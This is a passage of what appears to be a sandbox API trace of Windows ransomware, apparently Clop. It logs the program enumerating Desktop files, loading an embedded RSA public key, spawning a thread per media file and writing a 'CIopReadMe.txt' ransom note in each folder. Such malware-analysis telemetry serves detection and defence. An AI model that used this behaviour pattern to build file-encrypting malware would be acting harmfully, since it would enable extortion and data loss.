2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.931] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="t39geveg0wynNP.m4a" | out: lpString1="t39geveg0wynNP.m4a") returned="t39geveg0wynNP.m4a" [0100.931] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0100.931] WaitForSingleObject (hHandle=0x5e8, dwMilliseconds=0xffffffff) returned 0x0 [0101.247] SetErrorMode (uMode=0x1) returned 0x1 [0101.247] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0101.247] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0101.247] CloseHandle (hObject=0x5cc) returned 1 [0101.247] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0101.247] lstrcmpW (lpString1="uQNDwbW1Y.avi", lpString2="..") returned 1 [0101.247] lstrcmpW (lpString1="uQNDwbW1Y.avi", lpString2=".") returned 1 [0101.247] Sleep (dwMilliseconds=0xd) [0101.270] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.270] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="uQNDwbW1Y.avi" | out: lpString1="uQNDwbW1Y.avi") returned="uQNDwbW1Y.avi" [0101.270] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0101.270] WaitForSingleObject (hHandle=0x538, dwMilliseconds=0xffffffff) returned 0x0 [0101.481] SetErrorMode (uMode=0x1) returned 0x1 [0101.481] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0101.481] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0101.481] CloseHandle (hObject=0x53c) returned 1 [0101.481] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0101.481] lstrcmpW (lpString1="VX9FUGeY-MvLyFL6.gif", lpString2="..") returned 1 [0101.481] lstrcmpW (lpString1="VX9FUGeY-MvLyFL6.gif", lpString2=".") returned 1 [0101.482] Sleep (dwMilliseconds=0xd) [0101.548] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.548] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="VX9FUGeY-MvLyFL6.gif" | out: lpString1="VX9FUGeY-MvLyFL6.gif") returned="VX9FUGeY-MvLyFL6.gif" [0101.548] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0101.549] SetErrorMode (uMode=0x1) returned 0x1 [0101.549] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0101.549] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0101.549] CloseHandle (hObject=0x514) returned 1 [0101.549] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0101.549] lstrcmpW (lpString1="wh 8KrD6eNSHE.gif", lpString2="..") returned 1 [0101.549] lstrcmpW (lpString1="wh 8KrD6eNSHE.gif", lpString2=".") returned 1 [0101.549] Sleep (dwMilliseconds=0xd) [0101.595] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.595] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="wh 8KrD6eNSHE.gif" | out: lpString1="wh 8KrD6eNSHE.gif") returned="wh 8KrD6eNSHE.gif" [0101.595] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0101.595] SetErrorMode (uMode=0x1) returned 0x1 [0101.595] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0101.595] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0101.596] CloseHandle (hObject=0x53c) returned 1 [0101.596] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0101.596] lstrcmpW (lpString1="xj7qoX0- 7l3FO.mkv", lpString2="..") returned 1 [0101.596] lstrcmpW (lpString1="xj7qoX0- 7l3FO.mkv", lpString2=".") returned 1 [0101.596] Sleep (dwMilliseconds=0xd) [0101.677] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.677] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="xj7qoX0- 7l3FO.mkv" | out: lpString1="xj7qoX0- 7l3FO.mkv") returned="xj7qoX0- 7l3FO.mkv" [0101.677] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0101.677] WaitForSingleObject (hHandle=0x5ec, dwMilliseconds=0xffffffff) returned 0x0 [0101.874] SetErrorMode (uMode=0x1) returned 0x1 [0101.874] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0101.874] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0101.875] CloseHandle (hObject=0x5cc) returned 1 [0101.875] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0101.875] lstrcmpW (lpString1="Y_LI3 4-qP.m4a", lpString2="..") returned 1 [0101.875] lstrcmpW (lpString1="Y_LI3 4-qP.m4a", lpString2=".") returned 1 [0101.875] Sleep (dwMilliseconds=0xd) [0101.977] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.977] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="Y_LI3 4-qP.m4a" | out: lpString1="Y_LI3 4-qP.m4a") returned="Y_LI3 4-qP.m4a" [0101.977] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0101.977] WaitForSingleObject (hHandle=0x5d8, dwMilliseconds=0xffffffff) returned 0x0 [0102.106] SetErrorMode (uMode=0x1) returned 0x1 [0102.106] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0102.106] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0102.106] CloseHandle (hObject=0x5f4) returned 1 [0102.106] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0102.106] lstrcmpW (lpString1="z29LckBw5RcM_XD.png", lpString2="..") returned 1 [0102.106] lstrcmpW (lpString1="z29LckBw5RcM_XD.png", lpString2=".") returned 1 [0102.106] Sleep (dwMilliseconds=0xd) [0102.134] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.134] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="z29LckBw5RcM_XD.png" | out: lpString1="z29LckBw5RcM_XD.png") returned="z29LckBw5RcM_XD.png" [0102.134] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0102.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0102.134] SetErrorMode (uMode=0x1) returned 0x1 [0102.134] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0102.134] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f8 [0102.134] CloseHandle (hObject=0x5f8) returned 1 [0102.135] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0102.135] lstrcmpW (lpString1="zsdQJc9p9rp.png", lpString2="..") returned 1 [0102.135] lstrcmpW (lpString1="zsdQJc9p9rp.png", lpString2=".") returned 1 [0102.135] Sleep (dwMilliseconds=0xd) [0102.169] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.169] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="zsdQJc9p9rp.png" | out: lpString1="zsdQJc9p9rp.png") returned="zsdQJc9p9rp.png" [0102.169] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0102.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0102.169] SetErrorMode (uMode=0x1) returned 0x1 [0102.169] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0102.170] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0102.170] CloseHandle (hObject=0x5c0) returned 1 [0102.170] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 0 [0102.170] FindClose (in: hFindFile=0x6493b8 | out: hFindFile=0x6493b8) returned 1 [0102.170] FindClose (in: hFindFile=0x6493b8 | out: hFindFile=0x6493b8) returned 0 [0102.170] lstrcpyW (in: lpString1=0x1ebf92c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0102.170] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0102.170] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 0x6493b8 [0102.170] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0102.171] lstrcpyW (in: lpString1=0x1ebe320, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0102.171] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0102.171] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.171] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0102.171] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.171] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0102.171] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0102.171] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0102.171] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0102.171] lstrcmpW (lpString1="37Pif51-yjT", lpString2="..") returned 1 [0102.171] lstrcmpW (lpString1="37Pif51-yjT", lpString2=".") returned 1 [0102.171] lstrcpyW (in: lpString1=0x1ebf51c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0102.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0102.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="37Pif51-yjT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT" [0102.171] SetErrorMode (uMode=0x1) returned 0x1 [0102.171] lstrcpyW (in: lpString1=0x1ebe104, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT" [0102.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.171] lstrcpyW (in: lpString1=0x1ebd8e4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.171] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\*.*" [0102.171] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\*.*", lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0x648e78 [0102.171] PathFindFileNameW 